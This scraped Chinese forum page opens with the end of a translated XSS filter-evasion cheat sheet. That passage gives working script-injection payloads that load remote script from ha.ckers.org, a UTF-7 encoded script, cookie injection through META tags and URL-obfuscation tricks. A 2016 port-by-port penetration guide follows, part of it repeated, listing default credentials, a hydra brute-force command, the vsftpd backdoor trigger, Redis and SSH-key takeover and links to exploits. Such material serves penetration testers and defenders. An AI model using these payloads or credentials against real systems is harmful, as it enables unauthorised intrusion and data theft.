Redirect 302 /a.jpg [url=http://victimsite.com/admin.aspundefineddeleteuser&#10;]http://victimsite.com/admin.asp&deleteuser
[/url]

Cookie篡改
这是公认的不着边际,但是我已经发下一个例子是用 <META
去覆盖cookie。另一个例子是有些网站使用cookie中的某些数据去呈现在当前访问者的网页中为仅仅他自己而不是从远程数据库中获取。当这两个清静
联系在一起的时候,你可以通过修改cookie让javascript输入到用户页面中。(你可以借此让用户退出,改变用户的状态,甚至让用户以你的身份
登录)

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">


UTF-7编码
如果存在xss的页面没有提供页面charset header,或是对于任何被设为UTF-7
的浏览器,我们可以利用下面的代码。(感谢Roman Ivanov
的提供),点击这儿为这个例子。(如果页面设置是自动识别编码且content-types 没有被覆盖,在ie浏览器或使用了IE渲染引擎的
Netscape 8.1,咋你不需要声明 charset
)在没有改变编码的情况下它是不能工作在任何现代浏览器,这是为什么它被标记为完全不支持。Watchfire发现这个漏洞在Google's 自定义
404 脚本中.

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-


使用HTML 引用封装的xss
他是被测试在ie,具体因情况而异。它是为了绕过那些可以输入 "<SCRIPT>" 但不允许输入 "<SCRIPT SRC…",通过正则"/<script[^>]+src/i"进行过滤的xss过滤区。

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">
为了执行xss代码在那些允许输入"<SCRIPT>" 但不允许 "<script src…"靠正则拼配"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i" (这个是重要的,因为我已经看到这个正则在实际环境中。)

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
另一个逃避相同正则 "/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"的xss代码

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这是另一个xss例子去绕过相同的过滤器,关于"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"
的正则过滤。我知道,我说过我将不会去痛痛快快的聊减灾技术。但是这是我所看到的唯一例子在允许用户输入<SCRIPT>但是不允许通过
src加在远程脚本的过滤这个xss的可用方法。(当然,还有一些其他方法去处理它,如果它们允许<SCRIPT> )

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
最后一个绕过"/<script((\s+\w+(\s=\s(?:"(.)?"|'(.)?'|[^'">\s]+))?)+\s|\s)src/i"正则匹配的例子,通过重音符。(再以无法工作在firfox)

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这个xss例子押注域哪些正则并不去拼配一对引号,而是去发现任何引号后就立即结束参数字符串。

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
这xss仍然让我担心,因为他是几乎没有肯呢过去停止在没有阻止活动内容的情况下。

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="[url=http://ha.ckers.org/xss.js"></SCRIPT>&#10;]http://ha.ckers.org/xss.js"></SCRIPT>
[/url]

URL 字符串绕过
这里假设 "http://www.google.com/" 这种在语法上是不被允许的。
IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>

URL 编码

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
双字节编码(注意:有其他的双字节编码变种。请参考下面混淆后的ip为更多信息)

<A HREF="http://1113982867/">XSS</A>
十六进制编码The total size of each number allowed is somewhere in the neighborhood
of 240 total characters as you can see on the second
digit,因为十六进制数实在0-f之间,因此第三位开头的0可以被省略掉。

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
八进制编码Again padding is allowed, although you must keep it above 4 total characters per class – as in class A, class B, etc…:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>
混合编码让我们混合基本编码并且插入一个tab和换行符。为什么浏览器允许这样,我是不知道。但是它是可以工作当它们被包含在引号之间。


<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
协议绕过“//”代替“http:// ”
可以节省更多字符。这是非常有用的当输入空间是有限的时候。两个字符可能解决大问题。也是容易绕过像"(ht|f)tp(s)?://"
这样的正则过滤。(感谢 Ozh 提出这部分)。你也可以改变//" 为 "\"。你需要保持斜杠在适当的地方。否则可能会被当作一个相对路径的url。

<A HREF="//www.google.com/">XSS</A>
Google "feeling lucky" IFirefox 使用 Google的"feeling lucky"
函数去重定向用户输入的任何关键字。因此你可以在可利用页面使用任何关键字针对任何Firefox用户。它是使用了"keyword:"
协议。你可以使用多个关键字像下面的例子:XSS+RSnake。它是无法使用在 Firefox as of 2.0。

<A HREF="//google">XSS</A>
Google "feeling lucky" II这是使用一个小技巧让他工作在Firefox,因为只有它实现了 "feeling lucky" 函数。不像下一个例子,它是无法工作在 Opera
,由于
Opera认为它是一种老的钓鱼攻击。它是一个简单的畸形url。如果你点击弹出框的确定按钮它将工作。但是由于这是一个错误对话框,我是说Opera是
不支持它。它也不再被支持在 Firefox 2.0。

<A HREF="http://ha.ckers.org@google">XSS</A>
Google "feeling lucky" III它是通过畸形url来工作在Firefox 和 Opera浏览器。因为只有他们实现了 "feeling lucky" 函数。像上面的例子一样,它们需要你的网站在谷歌搜索中排名第一。(例如google)

<A HREF="http://google:ha.ckers.org">XSS</A>
移除别名结合上面的url。移除 "www." 将节省四个字符。

<A HREF="http://google.com/">XSS</A>
绝对 DNS用额外的点

<A HREF="http://www.google.com./">XSS</A>
JavaScript link location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
针对内容替换的攻击向量假设 "http://www.google.com/"
会被替换为空。我确实使用了一个简单的攻击向量去针对特殊文字过滤依靠过滤器本身。这是一个例子去帮助创建向量。(IE: "java script:"
被替换为"java script:", 它是仍可以工作在 IE,使用安全模块的 Netscape 8.1+ 和 Opera)

<A HREF="[url=http://www.gohttp://www.google.com/ogle.com/">XSS</A>&#10;]http://www.gohttp://www.google.com/ogle.com/">XSS</A>
[/url]

字符编码表
再付 "<" 在html或是javascript中所有可能的编码形式。它们绝大多数是无法正常渲染的,但是可以在上文中某些情景下得到渲染。
<
%3C
&lt
<
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
字符编码和ip混淆器
下面地址中包含了在xss有用的各种基本转换器。
http://ha.ckers.org/xsscalc.html



作者和主编:Robert "RSnake" Hansen
翻译:老道
 

端口渗透简单总结

TaeJa 发表了文章 • 8 个评论 • 820 次浏览 • 2016-09-22 22:14 • 来自相关话题

0x00背景
 
    这篇文章写的很简单,也只描述了几个常见的端口渗透;而且一般我们都是可以修改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透实战对端口的渗透进行更加深入的剖析;
端口渗透过程中我们需要关注几个问题:
1、端口的banner信息
2、端口上运行的服务
3、常见应用的默认端口
当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了,我们也可以结合其他的端口扫描工具,比如专门的3389、1433等等的端口扫描工具;

服务默认端口
 
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
当然这些端口都可以通过修改来达到欺骗攻击者的目的,但是这就安全了吗?攻击者又可以使用什么攻击方式来攻击这些端口呢?
还需要注明的一点是:很多木马工具也有特定的端口,本文并没有涉及到这块的内容,大家可以自己去收集收集!


0x01实战测试
 
文件共享服务端口渗透
 
ftp服务
 
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)
攻击方式:
爆破:ftp的爆破工具有很多,这里我推荐owasp的Brut以及msf中ftp爆破模块;
匿名访问:用户名:anonymous 密码:为空或任意邮箱
用户名:FTP 密码:FTP或为空
用户名:USER 密码:pass
当然还有不需要用户名密码直接访问的,一般出现在局域网中;

嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

后门技术:在linux的vsftp某一版本中,存在着一个后门程序,只要在用户名后面加上:)这个笑脸符号,就会在6200上打开一个监听Shell,我们可以使用telnet直接连接;详细http://www.freebuf.com/articles/system/34571.html
远程溢出漏洞:6.10.1 IIS FTP远程溢出漏洞,在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能是攻击者在服务器运行一条非法命令。
跳转攻击:(Bounce Attacks)攻击者发送一个FTP”PORT”命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号。这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。这个文件可能包括根被攻击的服务有关的命令(如SMTP,NNTP等)。由于是命令第三方去连接到一种服务,而不是直接连接,就使得跟踪攻击者变得困难,并且还避开了基于网络地址的访问限制。
 
NFS服务
 
nfs:网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单,详细配置请参考案例分享。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!
默认端口:2049
攻击方式:
未授权访问:未限制IP以及用户权限设置错误

NFS服务全攻略:http://www.360doc.com/content/11/0410/14/2054285_108598426.shtml
 
Samba服务
 
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。
默认端口:137(主要用户NetBIOS Name Service;NetBIOS名称服务)、139(NetBIOS Session Service,主要提供samba服务)
攻击方式:
爆破:弱口令(爆破工具采用hydra)hydra -l username -P
PassFile IP smb
未授权访问:给予public用户高权限
远程代码执行漏洞:CVE-2015-0240等等
案例分享:
Samba远程代码执行漏洞 https://www.secpulse.com/archives/5975.html
 
LDAP协议
 
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令
案例分享:
LDAP注入与防御剖析
欧朋LDAP服务匿名访问
使用LDAP查询快速提升域权限
远程连接服务端口渗透
 
SSH服务
 
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;对于SSH服务我们可能使用爆破攻击方式较多。
默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞
案例分享:
安宇创新科技ssh弱口令
宜信贷某站存在OpenSSL漏洞

Telnet服务
 
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;比如cisco、华三,深信服等厂商的设备;我就有很多次通过telnet弱口令控制这些设备;
默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;
案例分享:
大量惠普打印机远程telnet可被查看和操作
 
Windows远程连接
 
远程桌面连接:作为windows上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;这个时候我们一般的情况分为两种。一种是内网,需要先将目标机3389端口反弹到外网;另一种就是外网,我们可以直接访问;当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;
默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机;http://blog.163.com/rz_xiaojia/blog/static/119209198201251195340629/
 
VNC服务
 
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;也
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破:弱口令
认证口令绕过:
拒绝服务攻击:(CVE-2015-5239)
权限提升:(CVE-2013-6886)
案例分享:
广西电信客服服务器使用VNC存在弱口令可直接控制
 
Pcanywhere服务
 
PyAnywhere服务:一款远控工具,有点类似vnc的功能;这个服务在以前很多黑客发的视频里面都有,利用pcanywhere来进行提权;
默认端口:5632
攻击方式:
提权控制服务:
拒绝服务攻击:
代码执行:
案例分享:
黑龙江物价局多处安全漏洞可能导致服务器沦陷(pcAnywhere提权+密码突破)
 
Web应用服务端口渗透
 
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;
注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;
IIS服务
 
默认端口:80/81/443
攻击方式:
IIS
PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
短文件名泄漏:这种一般没啥影响
解析漏洞:详细见apache服务
案例分享:
徐州市教育系统大量IIS PUT漏洞
用友软件IIS写权限(PUT)导致可获取webshell控制服务器
国家电网某分站存在iis短文件名漏洞
 
Apache/Tomcat/Nginx/Axis2
 
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
解析漏洞:请参考
案例分享:
安卓开发平台存在上传漏洞和Apache解析漏洞,成功获取webshell
腾讯分站Apache漏洞
 
WebLogic
 
默认端口:7001
攻击方式:
爆破:弱口令4组:用户名密码均一致:system weblogic(密码可能weblogic123)portaladmin guest
Congsole后台部署webshell:
Java反序列化:
泄漏源代码/列目录:这个太老了,估计网上都没有了吧!
SSRF窥探内网:央视网SSRF可窥探内网
案列分享:
福建省人力资源和社会保障厅下属某WEBLOGIC弱口令
利用Weblogic进行入侵的一些总结
 
Jboss
 
默认端口8080;其他端口1098/1099/4444/4445/8080/8009/8083/8093
攻击方式:
爆破:弱口令(爆破jboss系统后台)
远程代码执行:http://www.cnblogs.com/Safe3/archive/2010/01/08/1642371.html
Java反序列化:
案例分享
中华人民共和国民政部JBoss配置不当
JBOSS安全问题总结
中国科学院某处jboss应用漏洞
 
Websphere
 
默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)
任意文件泄漏:(CVE-2014-0823)
Java反序列化
案例分享:
中国电信某通用型业务系统(Websphere)GetShell漏洞
大汉网络有限公司远程命令执行漏洞(WebSphere案例)
 
GlassFish
 
默认端口:http 8080;IIOP 3700;控制台4848
攻击方式:
爆破:弱口令(对于控制台)
任意文件读取:
认证绕过:
案例分享:
应用服务器glassfish存在通用任意文件读取漏洞
Oracle GlassFish Server认证绕过 http://www.tuicool.com/articles/ZRJriy
 
Jenkins
 
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)
未授权访问:
反序列化:
案例分享:
酷6Jenkins系统未授权访问可执行系统命令
 
Resin
 
默认端口:8080
攻击方式:
目录遍历
远程文件读取
案例分享:
爱奇艺Resin配置漏洞
Resin漏洞利用案例之目录遍历/以金蝶某系统为例
 
Jetty
 
默认端口:8080
攻击方式:
远程共享缓冲区溢出
 
Lotus
 
影响的都是一些大型的企业,特别需要注意,经过以前的测试发现弱口令这个问题经常都存在,可能是很多管理员不知道如何去修改(不要打我)。
默认端口:1352
攻击方式:
爆破:弱口令(admin password)控制台
信息泄露
跨站脚本攻击
案例分享:
Lotus Domino WebMail一处越权访问
中电投集团某系统弱口令直达内网涉及/OA系统/内部邮箱/财务系统/人力资源系统
中国某大型金融机构地方业务弱口令导致数万商户信息泄露&访问Lotus Domino后台
数据库服务端口渗透
 
针对所有的数据库攻击方式都存在SQL注入,这里先提出来在下面就不一一写了免得大家说我占篇幅;当然不同的数据库注入技巧可能不一样,特别是NoSQL与传统的SQL数据库不太一样。但是这不是本文需要介绍的重点,后面有时间会写一篇不同数据库的渗透技巧。
 
MySQL数据库
 
默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122 http://www.freebuf.com/vuls/3815.html
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@”密码任意
案例分享:
漏洞分享 https://www.seebug.org/appdir/MySQL
和讯网某站点存在mysql注入漏洞
MySQL提权总结 http://www.waitalone.cn/mysql-tiquan-summary.html?replytocom=390
 
MSSQL数据库
 
默认端口:1433(Server数据库服务)、1434(Monitor数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
案例分享:
MSSQL注射总结
上海安脉综合管理系统mssql注射漏洞
解密MSSQL连接数据库密码
从攻击MSSQL到提权:使用msf针对mssql的一次完整渗透 http://www.freebuf.com/articles/database/22997.html
 
Oracle数据库
 
默认端口:1521(数据库端口)、1158(Oracle EMCTL端口)、8080(Oracle XDB数据库)、210(Oracle XDB FTP服务)
攻击方式:
爆破:弱口令
注入攻击;
漏洞攻击;
案例分享:
Oracle盲注结合XXE漏洞远程获取数据
 
PostgreSQL数据库
 
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括我们kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
缓冲区溢出:CVE-2014-2669
案例分享:
Hacking postgresql
关于postgresql的那些事
 
MongoDB数据库
 
MongoDB:NoSQL数据库;攻击方法与其他数据库类似;关于它的安全讲解:请在乌云镜像库搜索
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;github有攻击代码;https://github.com/yangbh/Hammer/blob/master/plugins/System/mongodb_unauth_access.py
案例分享:
MongoDB phpMoAdmin远程代码执行  http://bobao.360.cn/learning/detail/274.html
搜狐MongoDB未授权访问
新浪微米未授权访问
解决MongoDB各种隐患问题
 
Redis数据库
 
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。Exp:https://yunpan.cn/cYjzHxawFpyVt访问密码e547
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
案例分享:
中国铁建网redis+ssh-keygen免认证登录
 
SysBase数据库
 
默认端口:服务端口5000;监听端口4100;备份端口:4200
攻击方式:
爆破:弱口令
命令注入:
案例分享:
广西自考信息系统Sybase数据库注入
Sybase EAServer命令注入漏洞 http://www.venustech.com.cn/NewsInfo/124/22061.Html
 
DB2数据库
 
默认端口:5000
攻击方式:
安全限制绕过:成功后可执行未授权操作(CVE-2015-1922)
案例分享:
哈尔滨银行主站DB2注入
总结一下:对于数据库,我们得知端口很多时候可以帮助我们去渗透,比如得知mysql的数据库,我们就可以使用SQL注入进行mof、udf等方式提权;如果是mssql我们就可以使用xp_cmdshell来进行提权;如果是其它的数据库,我们也可以采用对应的方式;比如各大数据库对应它们的默认口令,版本对应的漏洞!
顺便提一下:很多时候银行企业采用的都是oracle、db2等大型数据库;
邮件服务端口渗透
 
SMTP协议
 
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!
默认端口:25(smtp)、465(smtps)
攻击方式:
爆破:弱口令
未授权访问
案例分享:
腾讯邮箱smtp注册时间限制绕过漏洞
邮件伪造详解
qq邮箱伪造发件地址,容易被钓鱼利用
众多厂商邮件系统配置不当可伪造邮件人
 
POP3协议
 
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令
未授权访问;
案例分享:
中国联通沃邮箱等部分Android客户端免密码登陆(可获取任意联通用户pop3密码)
中航信邮箱密码泄漏及VPN账号和大量邮箱弱口令导致可内网漫游拿到域控
 
IMAP协议
 
默认端口:143(imap)、993(imaps)
攻击方式:
爆破:弱口令
配置不当
案例分享:
163邮箱二次验证饶过缺陷
南方周末邮件服务器任意文件读取漏洞
网络常见协议端口渗透
 
DNS服务
 
默认端口:53
攻击方式:
区域传输漏洞

案例分享:
全球Top1000Websites中存在DNS区域传送漏洞的网站列表
团购王某站DNS域传送漏洞
DNS泛解析与内容投毒
 
DHCP服务
 
默认端口:67&68、546(DHCP Failover做双机热备的)
攻击方式:
DHCP劫持;

案例分享:
流氓DHCP服务器内网攻击测试http://www.freebuf.com/articles/network/74995.html
 
SNMP协议
 
默认端口:161
攻击方式:
爆破:弱口令
案例分享:
snmp弱口令引起的信息泄漏
基于snmp的反射攻击的理论及其实现
华为某服务器SNMP弱口令
其他端口渗透
 
Hadoop文件服务
 
默认端口:请参考 http://hsrong.iteye.com/blog/1374734
案例分享:
Apache Hadoop远程命令执行
新浪漏洞系列第六弹–大量hadoop应用对外访问
 
Zookeeper服务
 
zookeeper:分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。详情请参考百度百科
默认端口:2181
攻击方式:
未授权访问;
案例分享:
zookeeper未授权访问漏洞
网上关于这方面的案例暂时不多,但是对于大数据逐渐泛滥的今天,这些漏洞未来会在乌云上出现一大波!
 
Zabbix服务
 
zabbix:基于Web界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
远程命令执行:
案例分享:
当渗透遇到zabbix–小谈zabbix安全
Zabbix的前台SQL注射漏洞利用 https://www.secpulse.com/archives/2089.html
网易zabbix运维不当,导致任意命令执行。(可提权、可内网渗透)
 
elasticsearch服务
 
elasticsearch:请百度
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;
案例分享:
ElasticSearch远程代码执行漏洞 https://www.secpulse.com/archives/5401.html
elasticsearch漏洞利用工具 http://www.freebuf.com/sectool/38025.html
 
memcache服务
 
默认端口:11211
案例分享:
Memcache安全配置
memcache未授权访问漏洞 https://help.aliyun.com/knowledge_detail/37553.html
 
Linux R服务
 
R服务:TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。
默认端口:512(remote process execution);513(remote login a la
telnet);514(cmd)
攻击方式:
使用rlogin直接登录对方系统;
 
RMI
 
RMI:我们使用这两个端口很少的原因是因为必须是java,而且rmi穿越防火墙并不好穿越;这里我不会去涉及其他的东西,这里提出RMI只是因为在前段时间的java反序列化中,我们的小伙伴Bird写过一个weblogic利用工具,里面涉及到了RMI的一些东西,在有的时候使用socket不能成功时,我们可以使用RMI方式来进行利用;
默认端口:1090()、1099()
攻击方式:
远程命令执行(java反序列化,调用rmi方式执行命令)
这就是RMI的魅力了!
 
Rsync服务
 
Rsync:类UNIX系统下的数据备份工具(remote sync),属于增量备份;关于它的功能,大家自行百度百科吧,其实上面很多大家也看到了说是端口渗透,其实就是端口对应服务的渗透,服务一般出错就在配置或者版本问题上,rsync也不例外。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问;
本地提权:rsync默认以root运行,利用rsync上传一个文件,只要这个文件具有s权限,我们执行我们的攻击脚本就可以具有root权限。
案例分享:
搜狐几处rsync未授权访问
 
Socket代理
 
默认端口:1080
Socket代理针对代理来说没有什么漏洞,一般只是在渗透过程中作为我们的代理,进入内网,或者渗透域和林的时候有帮助。这里不做过多描述,但是可以尝试爆破一下代理的用户名和密码,万一运气好能登录,不也~~~~
案例分享:
利用php socket5代理渗透内网
 
0x02图解端口渗透
 

 
端口号    端口说明    攻击技巧
21/22/69    ftp/tftp:文件传输协议    爆破
嗅探
溢出;后门
22    ssh:远程连接    爆破
OpenSSH;28个退格
23    telnet:远程连接    爆破
嗅探
25    smtp:邮件服务    邮件伪造
53    DNS:域名系统    DNS区域传输
DNS劫持
DNS缓存投毒
DNS欺骗
深度利用:利用DNS隧道技术刺透防火墙
67/68    dhcp    劫持
欺骗
110    pop3    爆破
139    samba    爆破
未授权访问
远程代码执行
143    imap    爆破
161    snmp    爆破
389    ldap    注入攻击
未授权访问
512/513/514    linux r    直接使用rlogin
873    rsync    未授权访问
1080    socket    爆破:进行内网渗透
1352    lotus    爆破:弱口令
信息泄漏:源代码
1433    mssql    爆破:使用系统用户登录
注入攻击
1521    oracle    爆破:TNS
注入攻击
2049    nfs    配置不当
2181    zookeeper    未授权访问
3306    mysql    爆破
拒绝服务
注入
3389    rdp    爆破
Shift后门
4848    glassfish    爆破:控制台弱口令
认证绕过
5000    sybase/DB2    爆破
注入
5432    postgresql    缓冲区溢出
注入攻击
爆破:弱口令
5632    pcanywhere    拒绝服务
代码执行
5900    vnc    爆破:弱口令
认证绕过
6379    redis    未授权访问
爆破:弱口令
7001    weblogic    Java反序列化
控制台弱口令
控制台部署webshell
80/443/8080    web    常见web攻击
控制台爆破
对应服务器版本漏洞
8069    zabbix    远程命令执行
9090    websphere控制台    爆破:控制台弱口令
Java反序列
9200/9300    elasticsearch    远程代码执行
11211    memcacache    未授权访问
27017    mongodb    爆破
未授权访问


以上所有没有标注链接的案例分享请到http://wooyun.bystudent.com搜索查看,就搜案例分享的名字。楼主到目前为止也还未把案例一一看完,因为牵扯的知识量太大了,案例里面写得非常详细,在此分享给大家希望大家共同进步,secevery越来越好! 查看全部
0x00背景
 
    这篇文章写的很简单,也只描述了几个常见的端口渗透;而且一般我们都是可以修改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透实战对端口的渗透进行更加深入的剖析;
端口渗透过程中我们需要关注几个问题:
1、端口的banner信息
2、端口上运行的服务
3、常见应用的默认端口
当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了,我们也可以结合其他的端口扫描工具,比如专门的3389、1433等等的端口扫描工具;

服务默认端口
 
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
当然这些端口都可以通过修改来达到欺骗攻击者的目的,但是这就安全了吗?攻击者又可以使用什么攻击方式来攻击这些端口呢?
还需要注明的一点是:很多木马工具也有特定的端口,本文并没有涉及到这块的内容,大家可以自己去收集收集!


0x01实战测试
 
文件共享服务端口渗透
 
ftp服务
 
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)
攻击方式:
爆破:ftp的爆破工具有很多,这里我推荐owasp的Brut以及msf中ftp爆破模块;
匿名访问:用户名:anonymous 密码:为空或任意邮箱
用户名:FTP 密码:FTP或为空
用户名:USER 密码:pass
当然还有不需要用户名密码直接访问的,一般出现在局域网中;

嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

后门技术:在linux的vsftp某一版本中,存在着一个后门程序,只要在用户名后面加上:)这个笑脸符号,就会在6200上打开一个监听Shell,我们可以使用telnet直接连接;详细http://www.freebuf.com/articles/system/34571.html
远程溢出漏洞:6.10.1 IIS FTP远程溢出漏洞,在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能是攻击者在服务器运行一条非法命令。
跳转攻击:(Bounce Attacks)攻击者发送一个FTP”PORT”命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号。这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。这个文件可能包括根被攻击的服务有关的命令(如SMTP,NNTP等)。由于是命令第三方去连接到一种服务,而不是直接连接,就使得跟踪攻击者变得困难,并且还避开了基于网络地址的访问限制。
 
NFS服务
 
nfs:网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单,详细配置请参考案例分享。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!
默认端口:2049
攻击方式:
未授权访问:未限制IP以及用户权限设置错误

NFS服务全攻略:http://www.360doc.com/content/11/0410/14/2054285_108598426.shtml
 
Samba服务
 
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。
默认端口:137(主要用户NetBIOS Name Service;NetBIOS名称服务)、139(NetBIOS Session Service,主要提供samba服务)
攻击方式:
爆破:弱口令(爆破工具采用hydra)hydra -l username -P
PassFile IP smb
未授权访问:给予public用户高权限
远程代码执行漏洞:CVE-2015-0240等等
案例分享:
Samba远程代码执行漏洞 https://www.secpulse.com/archives/5975.html
 
LDAP协议
 
